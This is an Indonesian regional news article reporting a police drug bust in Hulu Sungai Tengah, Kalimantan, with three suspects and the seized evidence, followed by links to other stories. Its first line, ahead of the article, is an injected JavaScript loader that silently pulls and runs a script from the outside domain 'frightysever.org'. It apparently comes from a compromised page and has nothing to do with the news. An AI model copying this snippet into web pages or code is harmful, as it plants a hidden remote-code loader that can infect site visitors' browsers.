(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hasil Kicauan AR, MN dan HR Ketahuan Simpan Sabu


BARABAI, Sat Res Narkoba dan Tim URC Sat Sabhara Polres Hulu Sungai Tengah (HST) mengungkap peredaran narkotika, tiga tersangka berhasil diamankan bersama barang bukti sabu.

Dalam konferensi pers, Selasa (17/7), Kapolres HST AKBP Sabana Atmojo SIK MH mengatakan, ada 2 kasus narkotika yang berhasil diungkap Tim Gabungan Polres HST.

Kapolres HST menyebut, pada kasus pertama, Polres HST mengamankan pelaku berinsial AR (33) di Desa Paya Besar RT 02  Kecamatan Batu Benawa, HST. “Dalam pengungkapan ini, tersangka AR kita tangkap hari Senin sekitar pukul 21.00 Wita,” ungkapnya.

Tersangka warga Desa Kias, Kecamatan Batang Alai Selatan ini diberhasil diamankan, setelah Satuan Res Narkoba mendapatkan informasi adanya peredaran narkotika. Personil pun melakukan penangkapan terhadap tersangka dan saat dilakukan penggeledahan badan ditemukan 2 paket sabu dalam celana sebelah kiri. AR berserta 2 paket sabu 0,47 gram, 1 sepeda motor dan 1 HP merk Mito dijadikan barang bukti.

Dalam pengungkapan kasus lain, AKBP Sabana Atmojo, Polres HST mengamankan 2 orang tersangka dari warga Desa Paya Besar RT 04 Kecamatan Batu Benawa, HST.

“Dua orang yaitu MN (34) dan HR (44). Keduanya merupakan warga Desa Paya Besar RT 04 Kecamatan Batu Benawa,” sebut Kapolres HST.

Penangkapan dua tersangka hasil dari pengembangan tersangka AR, yang mengaku membeli sabu tersebut dari MN. Mendapati informasi tersebut selang beberapa jam setelah penangkapan AR, sekitar pukul 23.00 Wita, penangkapan MN di dalam rumah tersangka.

Sial bagi HR, saat penyergapan di kediaman MN, HR berada di dalam rumah tersebut. Saat dilakukan penggeledahan ditemukan narkotika sabu 1 paket yang dibuang tersangka di belakang rumah. Satu paket sabu 0,97  gram, 1 buah timbangan merk constant warna hitam, 2 pak klip plastik kecil warna bening, 1 ATM BRI dijadikan barang bukti. Juga ada Hp Samsung warna hitam, 1 Hp Samsung warna biru, uang Rp 550.000, 1 buah pipet kaca, 1 buah bong dari botol minuman sprite, 1 mancis, 1 buah kotak rokok dan 1 buah sumbu kompor .

Kapolres HST AKBP Sabana Atmojo, S.I.K M.H mengucapkan terimakasih banyak atas bantuan masyarakat sehingga peredaran Narkoba di HST dapat terungkap. Ia meminta kepada masyarakat yang mengetahui ada peredaran Narkoba segera melaporkan ke Polres HST atau Polsek. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

9 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

14 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

14 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.